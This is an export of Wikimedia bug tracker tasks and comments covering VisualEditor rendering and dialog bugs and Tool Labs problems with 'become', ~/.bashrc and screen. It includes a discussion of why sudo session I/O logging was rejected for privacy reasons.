+**Severity**: normal",Needs Triage,90.0,1372337880,1373851094.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-3b3ojih2e7wkq7l3upwi,task_description,resolved,True,c1,2,False,False,True,-1,,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+254975,VisualEditor: references cannot be copied and pasted without losing formatting,"This should be addressed when bug 33105 is fixed.
+
+*** This bug has been marked as a duplicate of bug 33105 ***",,,1373851094,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3b3ojih2e7wkq7l3upwi,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+52278,VisualEditor: Page settings dialog adds categories with [[:Category:xyz]] syntax,"When you add a category to a page using the page settings dialog, it gets added as a wikilink [[:Category:xyz]], not a category inclusion [[Category:xyz]].
+
+Seen on testwiki and enwiki.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372331040,1372435698.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-o7g3xrsatafdlookojvh,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254768,VisualEditor: Page settings dialog adds categories with [[:Category:xyz]] syntax,"This was a Parsoid bug, since fixed.",,,1372435698,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-o7g3xrsatafdlookojvh,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52276,VisualEditor: Toolbar obscures save dialog when scrolled down the page,"Screenshot of bug
+
+When scrolled down the page, the top of the save dialog is obscured by the toolbar. See screenshot.
+
+See also other z-index bugs: bug 49514 and bug 49275.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11882}",Needs Triage,90.0,1372329960,1372387036.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-6a4gkdcnicitblhp6cug,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+254685,VisualEditor: Toolbar obscures save dialog when scrolled down the page,"
+
+*** This bug has been marked as a duplicate of bug 50324 ***",,,1372387036,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6a4gkdcnicitblhp6cug,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52267,VisualEditor: not adhering to column numbers when rendering,"See https://en.wikipedia.org/wiki/Microorganism?veaction=edit#See_also for example; that should be divided into 3 columns.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372301820,1373520752.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mgc6io5oxbkpzoctvybg,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254255,VisualEditor: not adhering to column numbers when rendering,"This is almost certainly the same as bug 50036.
+
+*** This bug has been marked as a duplicate of bug 50036 ***",,,1373520752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mgc6io5oxbkpzoctvybg,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52258,Unwanted Removal of text formatting,"In this edit:https://en.wikipedia.org/w/index.php?title=Blepsias_cirrhosus&diff=next&oldid=561719692
+
+Bold/italic formatting was removed by an unrelated action (addition of text).  See editor's description here:http://en.wikipedia.org/wiki/User_talk:PBASH607#VE_issues.3F
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1372280520,1372284454.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ytqjgzoe2nidan525q6p,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+253767,Unwanted Removal of text formatting,"Hey, yeah, this is a really irritating bug in Parsoid - bug 50068 - so marking this as a duplicate of that bug. Thanks for highlighting it, though - really important we try to fix this ASAP, and being reminded helps focus us!
+
+*** This bug has been marked as a duplicate of bug 50068 ***",,,1372284454,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ytqjgzoe2nidan525q6p,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+253759,Unwanted Removal of text formatting,Duplicated here: http://test.wikipedia.org/w/index.php?title=VisualEditor%3ATestingGrounds&diff=174932&oldid=174931,,,1372283768,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-ytqjgzoe2nidan525q6p,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52249,'become' doesn't load ~/.bashrc,"When you use 'become' to log into a shared account, ~/.bashrc isn't run.
+
+catrope@tools-login:~$ become visualeditor
+local-visualeditor@tools-login:~$ cat ~/.bashrc
+# Shortcuts
+alias ..='cd ..'
+alias ll='ls -ahlF --color=auto'
+alias l='ll'
+
+# Environment
+export PATH=$HOME/bin:$PATH;
+
+local-visualeditor@tools-login:~$ echo $PATH
+/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin
+local-visualeditor@tools-login:~$ . ~/.bashrc
+local-visualeditor@tools-login:~$ echo $PATH
+/data/project/visualeditor/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin
+
+Adding $HOME/bin to $PATH would probably be a nice thing to do in general.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372269540,1372270000.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-44radwd6pkgnkplpyiul,task_description,invalid,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+253307,'become' doesn't load ~/.bashrc,"Works as designed.
+
+become, through sudo, creates an interactive login shell.  To quote from the bash info page:
+
+"" When Bash is invoked as an interactive login shell, or as a
+  non-interactive shell with the `--login' option, it first reads and
+  executes commands from the file `/etc/profile', if that file exists.
+  After reading that file, it looks for `~/.bash_profile',
+  `~/.bash_login', and `~/.profile', in that order, and reads and
+  executes commands from the first one that exists and is readable.""
+
+A thing many users may want to do to simplify things is to have a ~/.profile that sources ~/.bashrc (in addition or instead of login-specific behaviour) so that the latter gets sourced regardless of how the shell was invoked.",,,1372270000,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-44radwd6pkgnkplpyiul,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+52248,screen doesn't work from within 'become',"catrope@tools-login:~$ become visualeditor
+local-visualeditor@tools-login:~$ screen
+Cannot open your terminal '/dev/pts/97' - please check.
+
+
+However, running screen as myself and then running 'become visualeditor' in each screen window does work.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372269480,1383053606.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-th6xciyktmum2yvdvsqy,task_description,declined,True,c1,2,False,False,False,-1,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0
+253280,screen doesn't work from within 'become',"valhallasw@tools-login:~$ chown valhallasw:tools.tsreports /dev/pts/164
+valhallasw@tools-login:~$ chmod g+r /dev/pts/164
+valhallasw@tools-login:~$ become tsreports
+tools.tsreports@tools-login:~$ screen
+
+This works for me. I suppose there still is some security impact with this (I guess all tsreports users can now read my TTY? but that might already be possible when I 'become tsreports'?) but it's somewhat less extreme. 
+
+
+Alternatively, could log_input be used to redirect to /dev/null, thus mitigating the risk of log files?",,,1404150917,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,52,,1,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1
+253273,screen doesn't work from within 'become',"That will not be changed from the current method; automatically logging I/O is an unacceptable security risk, especially if it happens unconditionally and without the user's knowledge/consent.
+
+Run screen from your own user, or use screen to created a tty for the task.",,,1383053606,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+253268,screen doesn't work from within 'become',".bash_history records the commands you typed at the shell prompt that were actually submitted; recording the stream would include everything sent and/or received, including keystrokes to applications, typed passwords, etc.  For instance, if you mistakenly start to type a password in your ssh session because your focus was on the wrong window then backspace over it, .bash_history would not record it, log_input and log_output would.
+
+Another difference is that you can manage (delete, edit, verify) your .bash_history, whereas logged I/O is neither visible nor under your control.
+
+The logged I/O would only be available to roots; but much of that is stuff that I wouldn't want to exist on disk even granted perfect trust in everyone involved.  An accident that leaves /var/log/sudo-io/ accessible or a security flaw that allows escalation would expose that data -- on the instance or even the host.
+
+Key recording is just too much of an exposure, especially since the only putative benefit is the very marginal convenience of being able to start a screen session after sudo rather than just before it.",,,1378387791,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+253264,screen doesn't work from within 'become',"(In reply to comment #6)
+> ... at the cost of, you know, logging all the input and output of your
+> session.
+> 
+> Needless to say, that will not happen in Tool Labs -- even having the
+> capability to replay users' sessions (including passwords typed and all!)
+> would be a *massive* violation of privacy.
+
+Would it? What's the difference between this and .bash_history?
+
+Is the logged input/output available to all users or only to roots (and the session owner)?",,,1378357656,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+253260,screen doesn't work from within 'become',"Oh!  I figured out how they do it:  they have turned on log_input, log_output or both in their sudo configuration -- this causes the creation of a pty (like script does), and thus neatly circumvents the problem; the tty of the sudo-ed user is brand new and owned by the user.
+
+... at the cost of, you know, logging all the input and output of your session.
+
+Needless to say, that will not happen in Tool Labs -- even having the capability to replay users' sessions (including passwords typed and all!) would be a *massive* violation of privacy.
+
+I'm forced to wonder whether users of toolserver are aware that their sessions are logged in this way.",,,1378356625,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+253257,screen doesn't work from within 'become',"I can't tell; I don't have a MMP on the toolserver, and a cursory inspection of nightshade shows that screen isn't suid to root, which means that it should not be possible for it to open the tty when invoked from a sudo-ed user:
+
+crw--w---- 1 marc tty 136, 31 Sep  5 04:39 /dev/pts/31
+
+Whereas:
+
+-rwxr-sr-x 1 root utmp 364088 Jul 29  2009 /usr/bin/screen
+
+meaning that screen runs with the privileges of the invoking user, who would not have permission to open the terminal.  Can you switch to an MMP account and do a ""ls -l `tty`"" to see if something funky is going on with the terminal's permissions?  That might give me a hint.
+
+The hack with script is exactly that -- a hack: it creates a new shell, a new terminal pair, and has a process running busy shuffling the data between both sides of the pipe, with a copy to /dev/null.  At best, it is horribly wasteful and doubles context switches.",,,1378356406,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+253253,screen doesn't work from within 'become',"According to <https://wiki.toolserver.org/view/Multi-maintainer_projects#Using_screen>, it is possible on the Linux hosts, but not on the Solaris hosts. I just confirmed: dbreps@willow.toolserver.org (Solaris) gets the same error as above while dbreps@nightshade.toolserver.org (Linux) has no issue starting screen.
+
+The Toolserver folks had a workaround for Solaris hosts (using `ttyallow`), but now we've reached a new question: what did the Toolserver do on its Linux hosts to resolve this issue that Labs hasn't done?",,,1378355120,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+253249,screen doesn't work from within 'become',"Then you almost certainly* remember incorrectly.  Screen can only operate on the terminal you are connected to (obviously), and that is necessarily owned by the user you have logged in with.
+
+Chances are this scenario (start a screen session /after/ having switched to another user) would have been less common on toolserver since most people ran only as their login user except for the infrequent multi-maintainer project -- which all projects are in Tool Labs.
+
+* (I say almost here because it /is/ possible to set screen suid to root; but that's on the same list as ""chmod 777 your home"", ""set your password to '1234'"", or ""allow telnet"" -- something a user might find convenient but a sysadmin should be fired for).",,,1378354665,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,1,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+253243,screen doesn't work from within 'become',"I don't remember the Toolserver having this issue. This doesn't seem like a wontfix to me. This is pretty awful behavior currently. Surely we can do better.
+
+local-dbreps@tools-login:~$ screen
+Cannot open your terminal '/dev/pts/50' - please check.
+
+I kept getting this. I checked <https://wikitech.wikimedia.org/wiki/Screen> to no avail. On IRC, I was told (by a bot, no less) that running ""script /dev/null"" is a workaround. It seems Roan found another workaround.
+
+At a minimum, this needs to be documented (which I'll do momentarily) and the error message could be hacked to be clearer what the hell is happening (""check /dev/pts/50"" is pretty much an online equivalent of ""go fuck yourself""). Re-opening this for further thought and consideration.",,,1378349685,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+253236,screen doesn't work from within 'become',"That's a limitation on how screen functions (i.e., it needs to have ownership of the terminal, which only the actual login process grants); sudo cannot circumvent this as it does not alter tty permissions.
+
+While it's a little annoying, the workaround you describe provides full functionality during interactive sessions (and it bears reminding here that tools should not be running interactive processes in detached screen sessions in any case).",,,1372269706,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+52242,VisualEditor: Dialogs won't open after adding a template at the end of the page,"Adding a template to a page (say, https://en.wikipedia.org/wiki/Eugene_Lies ) for some reason blocks the opening of the page settings dialogue.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372263600,1372271165.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-alyz2tg2s4hlxhbv3yqa,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+252971,VisualEditor: Dialogs won't open after adding a template at the end of the page,"(In reply to comment #1)
+> (In reply to comment #0)
+> > Adding a template to a page (say, https://en.wikipedia.org/wiki/Eugene_Lies )
+> > for some reason blocks the opening of the page settings dialogue.
+> 
+> Is this in Monobook or in Vector? AFAICS this works for me in Vector fine; in
+> Monobook, there's the bug 50241 issue but that's it.
+
+Aha, tracked it down:
+
+Uncaught Error: Offset could not be translated to a DOM element and offset: 136 ve.ce.Document.js:187
+ve.ce.Document.getNodeAndOffset ve.ce.Document.js:187
+ve.ce.Surface.showSelection ve.ce.Surface.js:1296
+ve.ce.Surface.onChange ve.ce.Surface.js:745
+oo.EventEmitter.emit oo.js:421
+ve.dm.Surface.change ve.dm.Surface.js:402
+ve.dm.SurfaceFragment.insertContent ve.dm.SurfaceFragment.js:581
+ve.ui.MWTransclusionDialog.onClose ve.ui.MWTransclusionDialog.js:110
+ve.ui.Window.close ve.ui.Window.js:328
+(anonymous function) ve.ui.Dialog.js:118
+proxy load.php:775
+
+
+This is bug 47947 - which we really need to fix now. :-(
+
+*** This bug has been marked as a duplicate of bug 47947 ***",,,1372271165,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alyz2tg2s4hlxhbv3yqa,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+252966,VisualEditor: Dialogs won't open after adding a template at the end of the page,"(In reply to comment #0)
+> Adding a template to a page (say, https://en.wikipedia.org/wiki/Eugene_Lies )
+> for some reason blocks the opening of the page settings dialogue.
+
+Is this in Monobook or in Vector? AFAICS this works for me in Vector fine; in Monobook, there's the bug 50241 issue but that's it.",,,1372269533,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alyz2tg2s4hlxhbv3yqa,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+52226,VisualEditor not working due to unflushed ResourceLoader cache?,"What ""not working"" means is that templates, links, references and images cannot be interacted with, at all. References and templates don't acknowledge they're there, images bug out, and the link inspector does not appear for links. I've had a group of users test this, and they've all reported wildly inconsistent results; this is happening for some but not for others, with no correlation in OS, browser or even skin.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1372252500,1372864641.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bcsg2progke55h2rhst6,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+251967,VisualEditor not working due to unflushed ResourceLoader cache?,"(In reply to comment #2)
+> I assume this is obsolete now?
+
+Sorry, yes, we got this fixed; thanks Sam, and thanks for the follow-up, Andre.",,,1372864641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcsg2progke55h2rhst6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+251961,VisualEditor not working due to unflushed ResourceLoader cache?,I assume this is obsolete now?,,,1372846999,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bcsg2progke55h2rhst6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+251955,VisualEditor not working due to unflushed ResourceLoader cache?,"I think we fixed this with a touch on ve.js by Reedy - please confirm? (Gah, forgot to say this 3 hours ago.)",,,1372266477,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcsg2progke55h2rhst6,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+52213,VisualEditor: Extra bullet point before template containing bulleted list,"VE rendering of [[WUEC#External_links]] does not match MW rendering.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1372230840,1372295480.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-7ma6pcpqiiyq3gvijprg,task_description,invalid,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+251257,VisualEditor: Extra bullet point before template containing bulleted list,"This is a slightly-faulty use of wikitext on the page - it dereferences to
+
+*[http://www.wpr.org/ Wisconsin Public Radio]
+*{{FM station data|WUEC}}
+
+->
+
+*[http://www.wpr.org/ Wisconsin Public Radio]
+*
+*{{FMQ|WUEC}}
+*{{FML|WUEC}}
+*{{FMARB|WUEC}}
+
